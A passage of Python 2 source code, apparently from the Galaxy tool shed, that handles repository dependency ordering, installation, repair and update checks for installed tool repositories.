toolshed_base_url=str( web.url_for( '/', qualified=True ) ).rstrip( '/' ), key_rd_dicts_to_be_processed=None, all_repository_dependencies=None, handled_key_rd_dicts=None, circular_repository_dependencies=None ) tool_dependencies = metadata.get( 'tool_dependencies', {} ) if tool_dependencies: new_tool_dependencies = {} for dependency_key, requirements_dict in tool_dependencies.items(): if dependency_key in [ 'set_environment' ]: new_set_environment_dict_list = [] for set_environment_dict in requirements_dict: set_environment_dict[ 'repository_name' ] = repository_name set_environment_dict[ 'repository_owner' ] = repository_owner set_environment_dict[ 'changeset_revision' ] = changeset_revision new_set_environment_dict_list.append( set_environment_dict ) new_tool_dependencies[ dependency_key ] = new_set_environment_dict_list else: requirements_dict[ 'repository_name' ] = repository_name requirements_dict[ 'repository_owner' ] = repository_owner requirements_dict[ 'changeset_revision' ] = changeset_revision new_tool_dependencies[ dependency_key ] = requirements_dict tool_dependencies = new_tool_dependencies # Cast unicode to string. repo_info_dict[ str( repository.name ) ] = ( str( repository.description ), str( repository_clone_url ), str( changeset_revision ), str( ctx_rev ), str( repository_owner ), repository_dependencies, tool_dependencies ) return repo_info_dict def get_installed_repositories_from_repository_dependencies( trans, repository_dependencies_dict ): installed_repositories = [] for rd_key, rd_vals in repository_dependencies_dict.items(): if rd_key in [ 'root_key', 'description' ]: continue # rd_key is something like: 'http://localhost:9009__ESEP__package_rdkit_2012_12__ESEP__test__ESEP__d635ffb9c665__ESEP__True' # rd_val is something like: [['http://localhost:9009', 'package_numpy_1_7', 'test', 'cddd64ecd985', 'True']] try: tool_shed, name, owner, changeset_revision, prior_installation_required = container_util.get_components_from_key( rd_key ) except: tool_shed, name, owner, changeset_revision = container_util.get_components_from_key( rd_val ) installed_repository = suc.get_tool_shed_repository_by_shed_name_owner_changeset_revision( trans.app, tool_shed, name, owner, changeset_revision ) if installed_repository not in installed_repositories: installed_repositories.append( installed_repository ) for rd_val in rd_vals: try: tool_shed, name, owner, changeset_revision, prior_installation_required = rd_val except: tool_shed, name, owner, changeset_revision = rd_val installed_repository = suc.get_tool_shed_repository_by_shed_name_owner_changeset_revision( trans.app, tool_shed, name, owner, changeset_revision ) if installed_repository not in installed_repositories: installed_repositories.append( installed_repository ) return installed_repositories def get_next_prior_install_required_dict_entry( prior_install_required_dict, processed_tsr_ids ): """ The order in which the prior_install_required_dict is processed is critical in order to ensure that the ultimate repository installation order is correctly defined. This method determines the next key / value pair from the received prior_install_required_dict that should be processed. """ # Return the first key / value pair that is not yet processed and whose value is an empty list. for key, value in prior_install_required_dict.items(): if key in processed_tsr_ids: continue if not value: return key # Return the first key / value pair that is not yet processed and whose ids in value are all included in processed_tsr_ids. for key, value in prior_install_required_dict.items(): if key in processed_tsr_ids: continue all_contained = True for required_repository_id in value: if required_repository_id not in processed_tsr_ids: all_contained = False break if all_contained: return key # Return the first key / value pair that is not yet processed. Hopefully this is all that is necessary at this point. for key, value in prior_install_required_dict.items(): if key in processed_tsr_ids: continue return key def get_prior_install_required_dict( trans, tsr_ids, repo_info_dicts ): """ Return a dictionary whose keys are the received tsr_ids and whose values are a list of tsr_ids, each of which is contained in the received list of tsr_ids and whose associated repository must be installed prior to the repository associated with the tsr_id key. """ # Initialize the dictionary. prior_install_required_dict = {} for tsr_id in tsr_ids: prior_install_required_dict[ tsr_id ] = [] # inspect the repository dependencies for each repository about to be installed and populate the dictionary. for repo_info_dict in repo_info_dicts: repository, repository_dependencies = get_repository_and_repository_dependencies_from_repo_info_dict( trans, repo_info_dict ) if repository: encoded_repository_id = trans.security.encode_id( repository.id ) if encoded_repository_id in tsr_ids: # We've located the database table record for one of the repositories we're about to install, so find out if it has any repository # dependencies that require prior installation. prior_install_ids = get_repository_ids_requiring_prior_install( trans, tsr_ids, repository_dependencies ) prior_install_required_dict[ encoded_repository_id ] = prior_install_ids return prior_install_required_dict def get_repair_dict( trans, repository ): """ Inspect the installed repository dependency hierarchy for a specified repository and attempt to make sure they are all properly installed as well as each repository's tool dependencies. This method is called only from Galaxy when attempting to correct issues with an installed repository that has installation problems somewhere in it's dependency hierarchy. """ repair_dict = {} # Get a dictionary of all repositories upon which the contents of the current repository_metadata record depend. repository_dependencies_dict = repository_dependency_util.get_repository_dependencies_for_installed_tool_shed_repository( trans, repository ) # Generate the list of installed repositories from the information contained in the repository_dependencies dictionary. installed_repositories = get_installed_repositories_from_repository_dependencies( trans, repository_dependencies_dict ) # Some repositories may have repository dependencies that are required to be installed before the dependent repository, so we'll order the list of # tsr_ids to ensure all repositories are repaired in the required order. tsr_ids = [] repo_info_dicts = [] tool_panel_section_keys = [] for installed_repository in installed_repositories: tsr_ids.append( trans.security.encode_id( installed_repository.id ) ) repository_clone_url = suc.generate_clone_url_for_installed_repository( trans.app, installed_repository ) repository_dependencies = repository_dependency_util.get_repository_dependencies_for_installed_tool_shed_repository( trans, installed_repository ) metadata = installed_repository.metadata if metadata: tool_dependencies = metadata.get( 'tool_dependencies', None ) tool_panel_section_dict = metadata.get( 'tool_panel_section', None ) if tool_panel_section_dict: # The installed_repository must be in the uninstalled state. The structure of tool_panel_section_dict is: # { : [{ 'id':
    , 'name':
    , 'version':
    , 'tool_config': }]} # Here is an example: # {"localhost:9009/repos/test/filter/Filter1/1.1.0": # [{"id": "filter_and_sort", "name": "Filter and Sort", "tool_config": "filtering.xml", "version": ""}]} # Currently all tools contained within an installed tool shed repository must be loaded into the same section in the tool panel, so we can # get the section id of the first guid in the tool_panel_section_dict. In the future, we'll have to handle different sections per guid. guid = tool_panel_section_dict.keys()[ 0 ] section_dicts = tool_panel_section_dict[ guid ] section_dict = section_dicts[ 0 ] tool_panel_section_id = section_dict[ 'id' ] tool_panel_section_name = section_dict[ 'name' ] if tool_panel_section_id: tool_panel_section_key, tool_panel_section = tool_util.get_or_create_tool_section( trans, tool_panel_section_id=tool_panel_section_id, new_tool_panel_section=tool_panel_section_name ) tool_panel_section_keys.append( tool_panel_section_key ) else: # The tools will be loaded outside of any sections in the tool panel. tool_panel_section_keys.append( None ) else: # The installed_repository must be in the installed state, so we can skip determining if it has tools that are displayed in a tool panel section # since no changes will be made to it. tool_panel_section_keys.append( None ) else: tool_dependencies = None # The tools will be loaded outside of any sections in the tool panel. tool_panel_section_keys.append( None ) repo_info_dict = create_repo_info_dict( trans=trans, repository_clone_url=repository_clone_url, changeset_revision=installed_repository.changeset_revision, ctx_rev=installed_repository.ctx_rev, repository_owner=installed_repository.owner, repository_name=installed_repository.name, repository=None, repository_metadata=None, tool_dependencies=tool_dependencies, repository_dependencies=repository_dependencies ) repo_info_dicts.append( repo_info_dict ) ordered_tsr_ids, ordered_repo_info_dicts, ordered_tool_panel_section_keys = \ order_components_for_installation( trans, tsr_ids, repo_info_dicts, tool_panel_section_keys=tool_panel_section_keys ) repair_dict[ 'ordered_tsr_ids' ] = ordered_tsr_ids repair_dict[ 'ordered_repo_info_dicts' ] = ordered_repo_info_dicts repair_dict[ 'ordered_tool_panel_section_keys' ] = ordered_tool_panel_section_keys return repair_dict def get_repo_info_dict( trans, repository_id, changeset_revision ): repository = suc.get_repository_in_tool_shed( trans, repository_id ) repository_clone_url = suc.generate_clone_url_for_repository_in_tool_shed( trans, repository ) repository_metadata = suc.get_repository_metadata_by_changeset_revision( trans, repository_id, changeset_revision ) metadata = repository_metadata.metadata if 'tools' in metadata: includes_tools = True else: includes_tools = False includes_tools_for_display_in_tool_panel = repository_metadata.includes_tools_for_display_in_tool_panel if 'repository_dependencies' in metadata: has_repository_dependencies = True else: has_repository_dependencies = False if 'tool_dependencies' in metadata: includes_tool_dependencies = True else: includes_tool_dependencies = False repo_dir = repository.repo_path( trans.app ) repo = hg.repository( suc.get_configured_ui(), repo_dir ) ctx = suc.get_changectx_for_changeset( repo, changeset_revision ) repo_info_dict = create_repo_info_dict( trans=trans, repository_clone_url=repository_clone_url, changeset_revision=changeset_revision, ctx_rev=str( ctx.rev() ), repository_owner=repository.user.username, repository_name=repository.name, repository=repository, repository_metadata=repository_metadata, tool_dependencies=None, repository_dependencies=None ) return repo_info_dict, includes_tools, includes_tool_dependencies, includes_tools_for_display_in_tool_panel, has_repository_dependencies def get_repository_components_for_installation( encoded_tsr_id, encoded_tsr_ids, repo_info_dicts, tool_panel_section_keys ): """ The received encoded_tsr_ids, repo_info_dicts, and tool_panel_section_keys are 3 lists that contain associated elements at each location in the list. This method will return the elements from repo_info_dicts and tool_panel_section_keys associated with the received encoded_tsr_id by determining it's location in the received encoded_tsr_ids list. """ for index, tsr_id in enumerate( encoded_tsr_ids ): if tsr_id == encoded_tsr_id: repo_info_dict = repo_info_dicts[ index ] tool_panel_section_key = tool_panel_section_keys[ index ] return repo_info_dict, tool_panel_section_key return None, None def get_repository_and_repository_dependencies_from_repo_info_dict( trans, repo_info_dict ): """Return a tool_shed_repository record defined by the information in the received repo_info_dict.""" repository_name = repo_info_dict.keys()[ 0 ] repo_info_tuple = repo_info_dict[ repository_name ] description, repository_clone_url, changeset_revision, ctx_rev, repository_owner, repository_dependencies, tool_dependencies = \ suc.get_repo_info_tuple_contents( repo_info_tuple ) tool_shed = suc.get_tool_shed_from_clone_url( repository_clone_url ) repository = suc.get_repository_for_dependency_relationship( trans.app, tool_shed, repository_name, repository_owner, changeset_revision ) return repository, repository_dependencies def get_repository_ids_requiring_prior_install( trans, tsr_ids, repository_dependencies ): """ Inspect the received repository_dependencies and determine if the encoded id of each required repository is in the received tsr_ids. If so, then determine whether that required repository should be installed prior to it's dependent repository. Return a list of encoded repository ids, each of which is contained in the received list of tsr_ids, and whose associated repositories must be installed prior to the dependent repository associated with the received repository_dependencies. """ prior_install_ids = [] if repository_dependencies: for key, rd_tups in repository_dependencies.items(): if key in [ 'description', 'root_key' ]: continue for rd_tup in rd_tups: tool_shed, name, owner, changeset_revision, prior_installation_required = suc.parse_repository_dependency_tuple( rd_tup ) if asbool( prior_installation_required ): repository = suc.get_repository_for_dependency_relationship( trans.app, tool_shed, name, owner, changeset_revision ) if repository: encoded_repository_id = trans.security.encode_id( repository.id ) if encoded_repository_id in tsr_ids: prior_install_ids.append( encoded_repository_id ) return prior_install_ids def get_tool_shed_repository_ids( as_string=False, **kwd ): tsrid = kwd.get( 'tool_shed_repository_id', None ) tsridslist = util.listify( kwd.get( 'tool_shed_repository_ids', None ) ) if not tsridslist: tsridslist = util.listify( kwd.get( 'id', None ) ) if tsridslist: if tsrid and tsrid not in tsridslist: tsridslist.append( tsrid ) if as_string: return ','.join( tsridslist ) return tsridslist else: tsridslist = util.listify( kwd.get( 'ordered_tsr_ids', None ) ) if as_string: return ','.join( tsridslist ) return tsridslist if as_string: '' return [] def get_update_to_changeset_revision_and_ctx_rev( trans, repository ): """Return the changeset revision hash to which the repository can be updated.""" changeset_revision_dict = {} tool_shed_url = suc.get_url_from_tool_shed( trans.app, repository.tool_shed ) url = suc.url_join( tool_shed_url, 'repository/get_changeset_revision_and_ctx_rev?name=%s&owner=%s&changeset_revision=%s' % \ ( repository.name, repository.owner, repository.installed_changeset_revision ) ) try: encoded_update_dict = common_util.tool_shed_get( trans.app, tool_shed_url, url ) if encoded_update_dict: update_dict = encoding_util.tool_shed_decode( encoded_update_dict ) includes_data_managers = update_dict.get( 'includes_data_managers', False ) includes_datatypes = update_dict.get( 'includes_datatypes', False ) includes_tools = update_dict.get( 'includes_tools', False ) includes_tools_for_display_in_tool_panel = update_dict.get( 'includes_tools_for_display_in_tool_panel', False ) includes_tool_dependencies = update_dict.get( 'includes_tool_dependencies', False ) includes_workflows = update_dict.get( 'includes_workflows', False ) has_repository_dependencies = update_dict.get( 'has_repository_dependencies', False ) changeset_revision = update_dict.get( 'changeset_revision', None ) ctx_rev = update_dict.get( 'ctx_rev', None ) changeset_revision_dict[ 'includes_data_managers' ] = includes_data_managers changeset_revision_dict[ 'includes_datatypes' ] = includes_datatypes changeset_revision_dict[ 'includes_tools' ] = includes_tools changeset_revision_dict[ 'includes_tools_for_display_in_tool_panel' ] = includes_tools_for_display_in_tool_panel changeset_revision_dict[ 'includes_tool_dependencies' ] = includes_tool_dependencies changeset_revision_dict[ 'includes_workflows' ] = includes_workflows changeset_revision_dict[ 'has_repository_dependencies' ] = has_repository_dependencies changeset_revision_dict[ 'changeset_revision' ] = changeset_revision changeset_revision_dict[ 'ctx_rev' ] = ctx_rev except Exception, e: log.debug( "Error getting change set revision for update from the tool shed for repository '%s': %s" % ( repository.name, str( e ) ) ) changeset_revision_dict[ 'includes_data_managers' ] = False changeset_revision_dict[ 'includes_datatypes' ] = False changeset_revision_dict[ 'includes_tools' ] = False changeset_revision_dict[ 'includes_tools_for_display_in_tool_panel' ] = False changeset_revision_dict[ 'includes_tool_dependencies' ] = False changeset_revision_dict[ 'includes_workflows' ] = False changeset_revision_dict[ 'has_repository_dependencies' ] = False changeset_revision_dict[ 'changeset_revision' ] = None changeset_revision_dict[ 'ctx_rev' ] = None return changeset_revision_dict def handle_repository_contents( trans, tool_shed_repository, tool_path, repository_clone_url, relative_install_dir, tool_shed=None, tool_section=None, shed_tool_conf=None, reinstalling=False ): """ Generate the metadata for the installed tool shed repository, among other things. This method is called from Galaxy (never the tool shed) when an administrator is installing a new repository or reinstalling an uninstalled repository. """ shed_config_dict = trans.app.toolbox.get_shed_config_dict_by_filename( shed_tool_conf ) metadata_dict, invalid_file_tups = metadata_util.generate_metadata_for_changeset_revision( app=trans.app, repository=tool_shed_repository, changeset_revision=tool_shed_repository.changeset_revision, repository_clone_url=repository_clone_url, shed_config_dict=shed_config_dict, relative_install_dir=relative_install_dir, repository_files_dir=None, resetting_all_metadata_on_repository=False, updating_installed_repository=False, persist=True ) tool_shed_repository.metadata = metadata_dict trans.sa_session.add( tool_shed_repository ) trans.sa_session.flush() if 'tool_dependencies' in metadata_dict and not reinstalling: tool_dependencies = tool_dependency_util.create_tool_dependency_objects( trans.app, tool_shed_repository, relative_install_dir, set_status=True ) if 'sample_files' in metadata_dict: sample_files = metadata_dict.get( 'sample_files', [] ) tool_index_sample_files = tool_util.get_tool_index_sample_files( sample_files ) tool_data_table_conf_filename, tool_data_table_elems = tool_util.install_tool_data_tables( trans.app, tool_shed_repository, tool_index_sample_files ) if tool_data_table_elems: trans.app.tool_data_tables.add_new_entries_from_config_file( tool_data_table_conf_filename, None, trans.app.config.shed_tool_data_table_config, persist=True ) if 'tools' in metadata_dict: tool_panel_dict = tool_util.generate_tool_panel_dict_for_new_install( metadata_dict[ 'tools' ], tool_section ) sample_files = metadata_dict.get( 'sample_files', [] ) tool_index_sample_files = tool_util.get_tool_index_sample_files( sample_files ) tool_util.copy_sample_files( trans.app, tool_index_sample_files, tool_path=tool_path ) sample_files_copied = [ str( s ) for s in tool_index_sample_files ] repository_tools_tups = suc.get_repository_tools_tups( trans.app, metadata_dict ) if repository_tools_tups: # Handle missing data table entries for tool parameters that are dynamically generated select lists. repository_tools_tups = tool_util.handle_missing_data_table_entry( trans.app, relative_install_dir, tool_path, repository_tools_tups ) # Handle missing index files for tool parameters that are dynamically generated select lists. repository_tools_tups, sample_files_copied = tool_util.handle_missing_index_file( trans.app, tool_path, sample_files, repository_tools_tups, sample_files_copied ) # Copy remaining sample files included in the repository to the ~/tool-data directory of the local Galaxy instance. tool_util.copy_sample_files( trans.app, sample_files, tool_path=tool_path, sample_files_copied=sample_files_copied ) tool_util.add_to_tool_panel( app=trans.app, repository_name=tool_shed_repository.name, repository_clone_url=repository_clone_url, changeset_revision=tool_shed_repository.installed_changeset_revision, repository_tools_tups=repository_tools_tups, owner=tool_shed_repository.owner, shed_tool_conf=shed_tool_conf, tool_panel_dict=tool_panel_dict, new_install=True ) if 'data_manager' in metadata_dict: new_data_managers = data_manager_util.install_data_managers( trans.app, trans.app.config.shed_data_manager_config_file, metadata_dict, shed_config_dict, relative_install_dir, tool_shed_repository, repository_tools_tups ) if 'datatypes' in metadata_dict: tool_shed_repository.status = trans.model.ToolShedRepository.installation_status.LOADING_PROPRIETARY_DATATYPES if not tool_shed_repository.includes_datatypes: tool_shed_repository.includes_datatypes = True trans.sa_session.add( tool_shed_repository ) trans.sa_session.flush() files_dir = relative_install_dir if shed_config_dict.get( 'tool_path' ): files_dir = os.path.join( shed_config_dict[ 'tool_path' ], files_dir ) datatypes_config = suc.get_config_from_disk( suc.DATATYPES_CONFIG_FILENAME, files_dir ) # Load data types required by tools. converter_path, display_path = datatype_util.alter_config_and_load_prorietary_datatypes( trans.app, datatypes_config, files_dir, override=False ) if converter_path or display_path: # Create a dictionary of tool shed repository related information. repository_dict = datatype_util.create_repository_dict_for_proprietary_datatypes( tool_shed=tool_shed, name=tool_shed_repository.name, owner=tool_shed_repository.owner, installed_changeset_revision=tool_shed_repository.installed_changeset_revision, tool_dicts=metadata_dict.get( 'tools', [] ), converter_path=converter_path, display_path=display_path ) if converter_path: # Load proprietary datatype converters trans.app.datatypes_registry.load_datatype_converters( trans.app.toolbox, installed_repository_dict=repository_dict ) if display_path: # Load proprietary datatype display applications trans.app.datatypes_registry.load_display_applications( installed_repository_dict=repository_dict ) def handle_tool_shed_repositories( trans, installation_dict, using_api=False ): # The following installation_dict entries are all required. install_repository_dependencies = installation_dict[ 'install_repository_dependencies' ] new_tool_panel_section = installation_dict[ 'new_tool_panel_section' ] no_changes_checked = installation_dict[ 'no_changes_checked' ] reinstalling = installation_dict[ 'reinstalling' ] repo_info_dicts = installation_dict[ 'repo_info_dicts' ] tool_panel_section = installation_dict[ 'tool_panel_section' ] tool_path = installation_dict[ 'tool_path' ] tool_shed_url = installation_dict[ 'tool_shed_url' ] created_or_updated_tool_shed_repositories, tool_panel_section_keys, repo_info_dicts, filtered_repo_info_dicts = \ repository_dependency_util.create_repository_dependency_objects( trans=trans, tool_path=tool_path, tool_shed_url=tool_shed_url, repo_info_dicts=repo_info_dicts, reinstalling=reinstalling, install_repository_dependencies=install_repository_dependencies, no_changes_checked=no_changes_checked, tool_panel_section=tool_panel_section, new_tool_panel_section=new_tool_panel_section ) return created_or_updated_tool_shed_repositories, tool_panel_section_keys, repo_info_dicts, filtered_repo_info_dicts def initiate_repository_installation( trans, installation_dict ): # The following installation_dict entries are all required. created_or_updated_tool_shed_repositories = installation_dict[ 'created_or_updated_tool_shed_repositories' ] filtered_repo_info_dicts = installation_dict[ 'filtered_repo_info_dicts' ] has_repository_dependencies = installation_dict[ 'has_repository_dependencies' ] includes_tool_dependencies = installation_dict[ 'includes_tool_dependencies' ] includes_tools = installation_dict[ 'includes_tools' ] includes_tools_for_display_in_tool_panel = installation_dict[ 'includes_tools_for_display_in_tool_panel' ] install_repository_dependencies = installation_dict[ 'install_repository_dependencies' ] install_tool_dependencies = installation_dict[ 'install_tool_dependencies' ] message = installation_dict[ 'message' ] new_tool_panel_section = installation_dict[ 'new_tool_panel_section' ] shed_tool_conf = installation_dict[ 'shed_tool_conf' ] status = installation_dict[ 'status' ] tool_panel_section = installation_dict[ 'tool_panel_section' ] tool_panel_section_keys = installation_dict[ 'tool_panel_section_keys' ] tool_path = installation_dict[ 'tool_path' ] tool_shed_url = installation_dict[ 'tool_shed_url' ] # Handle contained tools. if includes_tools_for_display_in_tool_panel and ( new_tool_panel_section or tool_panel_section ): tool_panel_section_key, tool_section = tool_util.handle_tool_panel_section( trans, tool_panel_section=tool_panel_section, new_tool_panel_section=new_tool_panel_section ) else: tool_panel_section_key = None tool_section = None encoded_repository_ids = [ trans.security.encode_id( tsr.id ) for tsr in created_or_updated_tool_shed_repositories ] new_kwd = dict( includes_tools=includes_tools, includes_tools_for_display_in_tool_panel=includes_tools_for_display_in_tool_panel, has_repository_dependencies=has_repository_dependencies, install_repository_dependencies=install_repository_dependencies, includes_tool_dependencies=includes_tool_dependencies, install_tool_dependencies=install_tool_dependencies, message=message, repo_info_dicts=filtered_repo_info_dicts, shed_tool_conf=shed_tool_conf, status=status, tool_path=tool_path, tool_panel_section_keys=tool_panel_section_keys, tool_shed_repository_ids=encoded_repository_ids, tool_shed_url=tool_shed_url ) encoded_kwd = encoding_util.tool_shed_encode( new_kwd ) tsr_ids = [ r.id for r in created_or_updated_tool_shed_repositories ] tool_shed_repositories = [] for tsr_id in tsr_ids: tsr = trans.sa_session.query( trans.model.ToolShedRepository ).get( tsr_id ) tool_shed_repositories.append( tsr ) clause_list = [] for tsr_id in tsr_ids: clause_list.append( trans.model.ToolShedRepository.table.c.id == tsr_id ) query = trans.sa_session.query( trans.model.ToolShedRepository ).filter( or_( *clause_list ) ) return encoded_kwd, query, tool_shed_repositories, encoded_repository_ids def install_tool_shed_repository( trans, tool_shed_repository, repo_info_dict, tool_panel_section_key, shed_tool_conf, tool_path, install_tool_dependencies, reinstalling=False ): if tool_panel_section_key: try: tool_section = trans.app.toolbox.tool_panel[ tool_panel_section_key ] except KeyError: log.debug( 'Invalid tool_panel_section_key "%s" specified. Tools will be loaded outside of sections in the tool panel.', str( tool_panel_section_key ) ) tool_section = None else: tool_section = None if isinstance( repo_info_dict, basestring ): repo_info_dict = encoding_util.tool_shed_decode( repo_info_dict ) # Clone each repository to the configured location. suc.update_tool_shed_repository_status( trans.app, tool_shed_repository, trans.model.ToolShedRepository.installation_status.CLONING ) repo_info_tuple = repo_info_dict[ tool_shed_repository.name ] description, repository_clone_url, changeset_revision, ctx_rev, repository_owner, repository_dependencies, tool_dependencies = repo_info_tuple relative_clone_dir = suc.generate_tool_shed_repository_install_dir( repository_clone_url, tool_shed_repository.installed_changeset_revision ) clone_dir = os.path.join( tool_path, relative_clone_dir ) relative_install_dir = os.path.join( relative_clone_dir, tool_shed_repository.name ) install_dir = os.path.join( tool_path, relative_install_dir ) cloned_ok, error_message = suc.clone_repository( repository_clone_url, os.path.abspath( install_dir ), ctx_rev ) if cloned_ok: if reinstalling: # Since we're reinstalling the repository we need to find the latest changeset revision to which it can be updated. changeset_revision_dict = get_update_to_changeset_revision_and_ctx_rev( trans, tool_shed_repository ) current_changeset_revision = changeset_revision_dict.get( 'changeset_revision', None ) current_ctx_rev = changeset_revision_dict.get( 'ctx_rev', None ) if current_ctx_rev != ctx_rev: repo = hg.repository( suc.get_configured_ui(), path=os.path.abspath( install_dir ) ) pull_repository( repo, repository_clone_url, current_changeset_revision ) suc.update_repository( repo, ctx_rev=current_ctx_rev ) handle_repository_contents( trans, tool_shed_repository=tool_shed_repository, tool_path=tool_path, repository_clone_url=repository_clone_url, relative_install_dir=relative_install_dir, tool_shed=tool_shed_repository.tool_shed, tool_section=tool_section, shed_tool_conf=shed_tool_conf, reinstalling=reinstalling ) trans.sa_session.refresh( tool_shed_repository ) metadata = tool_shed_repository.metadata if 'tools' in metadata: # Get the tool_versions from the tool shed for each tool in the installed change set. suc.update_tool_shed_repository_status( trans.app, tool_shed_repository, trans.model.ToolShedRepository.installation_status.SETTING_TOOL_VERSIONS ) tool_shed_url = suc.get_url_from_tool_shed( trans.app, tool_shed_repository.tool_shed ) url = suc.url_join( tool_shed_url, '/repository/get_tool_versions?name=%s&owner=%s&changeset_revision=%s' % ( tool_shed_repository.name, tool_shed_repository.owner, tool_shed_repository.changeset_revision ) ) text = common_util.tool_shed_get( trans.app, tool_shed_url, url ) if text: tool_version_dicts = json.from_json_string( text ) tool_util.handle_tool_versions( trans.app, tool_version_dicts, tool_shed_repository ) else: message += "Version information for the tools included in the %s repository is missing. " % name message += "Reset all of this repository's metadata in the tool shed, then set the installed tool versions " message += "from the installed repository's Repository Actions menu. " status = 'error' if install_tool_dependencies and tool_shed_repository.tool_dependencies and 'tool_dependencies' in metadata: work_dir = tempfile.mkdtemp( prefix="tmp-toolshed-itsr" ) # Install tool dependencies. suc.update_tool_shed_repository_status( trans.app, tool_shed_repository, trans.model.ToolShedRepository.installation_status.INSTALLING_TOOL_DEPENDENCIES ) # Get the tool_dependencies.xml file from the repository. tool_dependencies_config = suc.get_config_from_disk( 'tool_dependencies.xml', install_dir ) installed_tool_dependencies = common_install_util.handle_tool_dependencies( app=trans.app, tool_shed_repository=tool_shed_repository, tool_dependencies_config=tool_dependencies_config, tool_dependencies=tool_shed_repository.tool_dependencies ) try: shutil.rmtree( work_dir ) except: pass suc.update_tool_shed_repository_status( trans.app, tool_shed_repository, trans.model.ToolShedRepository.installation_status.INSTALLED ) else: # An error occurred while cloning the repository, so reset everything necessary to enable another attempt. set_repository_attributes( trans, tool_shed_repository, status=trans.model.ToolShedRepository.installation_status.ERROR, error_message=error_message, deleted=False, uninstalled=False, remove_from_disk=True ) def merge_containers_dicts_for_new_install( containers_dicts ): """ When installing one or more tool shed repositories for the first time, the received list of containers_dicts contains a containers_dict for each repository being installed. Since the repositories are being installed for the first time, all entries are None except the repository dependencies and tool dependencies. The entries for missing dependencies are all None since they have previously been merged into the installed dependencies. This method will merge the dependencies entries into a single container and return it for display. """ new_containers_dict = dict( readme_files=None, datatypes=None, missing_repository_dependencies=None, repository_dependencies=None, missing_tool_dependencies=None, tool_dependencies=None, invalid_tools=None, valid_tools=None, workflows=None ) if containers_dicts: lock = threading.Lock() lock.acquire( True ) try: repository_dependencies_root_folder = None tool_dependencies_root_folder = None # Use a unique folder id (hopefully the following is). folder_id = 867 for old_container_dict in containers_dicts: # Merge repository_dependencies. old_container_repository_dependencies_root = old_container_dict[ 'repository_dependencies' ] if old_container_repository_dependencies_root: if repository_dependencies_root_folder is None: repository_dependencies_root_folder = container_util.Folder( id=folder_id, key='root', label='root', parent=None ) folder_id += 1 repository_dependencies_folder = container_util.Folder( id=folder_id, key='merged', label='Repository dependencies', parent=repository_dependencies_root_folder ) folder_id += 1 # The old_container_repository_dependencies_root will be a root folder containing a single sub_folder. old_container_repository_dependencies_folder = old_container_repository_dependencies_root.folders[ 0 ] # Change the folder id so it won't confict with others being merged. old_container_repository_dependencies_folder.id = folder_id folder_id += 1 # Generate the label by retrieving the repository name. try: toolshed, name, owner, changeset_revision, prior_installation_required = \ container_util.get_components_from_key( old_container_repository_dependencies_folder.key ) except ValueError: # For backward compatibility to the 12/20/12 Galaxy release. toolshed, name, owner, changeset_revision = container_util.get_components_from_key( old_container_repository_dependencies_folder.key ) old_container_repository_dependencies_folder.label = str( name ) repository_dependencies_folder.folders.append( old_container_repository_dependencies_folder ) # Merge tool_dependencies. old_container_tool_dependencies_root = old_container_dict[ 'tool_dependencies' ] if old_container_tool_dependencies_root: if tool_dependencies_root_folder is None: tool_dependencies_root_folder = container_util.Folder( id=folder_id, key='root', label='root', parent=None ) folder_id += 1 tool_dependencies_folder = container_util.Folder( id=folder_id, key='merged', label='Tool dependencies', parent=tool_dependencies_root_folder ) folder_id += 1 else: td_list = [ td.listify for td in tool_dependencies_folder.tool_dependencies ] # The old_container_tool_dependencies_root will be a root folder containing a single sub_folder. old_container_tool_dependencies_folder = old_container_tool_dependencies_root.folders[ 0 ] for td in old_container_tool_dependencies_folder.tool_dependencies: if td.listify not in td_list: tool_dependencies_folder.tool_dependencies.append( td ) if repository_dependencies_root_folder: repository_dependencies_root_folder.folders.append( repository_dependencies_folder ) new_containers_dict[ 'repository_dependencies' ] = repository_dependencies_root_folder if tool_dependencies_root_folder: tool_dependencies_root_folder.folders.append( tool_dependencies_folder ) new_containers_dict[ 'tool_dependencies' ] = tool_dependencies_root_folder except Exception, e: log.debug( "Exception in merge_containers_dicts_for_new_install: %s" % str( e ) ) finally: lock.release() return new_containers_dict def order_components_for_installation( trans, tsr_ids, repo_info_dicts, tool_panel_section_keys ): """ Some repositories may have repository dependencies that are required to be installed before the dependent repository. This method will inspect the list of repositories about to be installed and make sure to order them appropriately. For each repository about to be installed, if required repositories are not contained in the list of repositories about to be installed, then they are not considered. Repository dependency definitions that contain circular dependencies should not result in an infinite loop, but obviously prior installation will not be handled for one or more of the repositories that require prior installation. """ ordered_tsr_ids = [] ordered_repo_info_dicts = [] ordered_tool_panel_section_keys = [] # Create a dictionary whose keys are the received tsr_ids and whose values are a list of tsr_ids, each of which is contained in the received list of tsr_ids # and whose associated repository must be installed prior to the repository associated with the tsr_id key. prior_install_required_dict = get_prior_install_required_dict( trans, tsr_ids, repo_info_dicts ) processed_tsr_ids = [] while len( processed_tsr_ids ) != len( prior_install_required_dict.keys() ): tsr_id = get_next_prior_install_required_dict_entry( prior_install_required_dict, processed_tsr_ids ) processed_tsr_ids.append( tsr_id ) # Create the ordered_tsr_ids, the ordered_repo_info_dicts and the ordered_tool_panel_section_keys lists. if tsr_id not in ordered_tsr_ids: prior_install_required_ids = prior_install_required_dict[ tsr_id ] for prior_install_required_id in prior_install_required_ids: if prior_install_required_id not in ordered_tsr_ids: # Install the associated repository dependency first. prior_repo_info_dict, prior_tool_panel_section_key = get_repository_components_for_installation( prior_install_required_id, tsr_ids, repo_info_dicts, tool_panel_section_keys=tool_panel_section_keys ) ordered_tsr_ids.append( prior_install_required_id ) ordered_repo_info_dicts.append( prior_repo_info_dict ) ordered_tool_panel_section_keys.append( prior_tool_panel_section_key ) repo_info_dict, tool_panel_section_key = get_repository_components_for_installation( tsr_id, tsr_ids, repo_info_dicts, tool_panel_section_keys=tool_panel_section_keys ) ordered_tsr_ids.append( tsr_id ) ordered_repo_info_dicts.append( repo_info_dict ) ordered_tool_panel_section_keys.append( tool_panel_section_key ) return ordered_tsr_ids, ordered_repo_info_dicts, ordered_tool_panel_section_keys def populate_containers_dict_for_new_install( trans, tool_shed_url, tool_path, readme_files_dict, installed_repository_dependencies, missing_repository_dependencies, installed_tool_dependencies, missing_tool_dependencies ): """Return the populated containers for a repository being installed for the first time.""" installed_tool_dependencies, missing_tool_dependencies = \ tool_dependency_util.populate_tool_dependencies_dicts( trans=trans, tool_shed_url=tool_shed_url, tool_path=tool_path, repository_installed_tool_dependencies=installed_tool_dependencies, repository_missing_tool_dependencies=missing_tool_dependencies, required_repo_info_dicts=None ) # Since we are installing a new repository, most of the repository contents are set to None since we 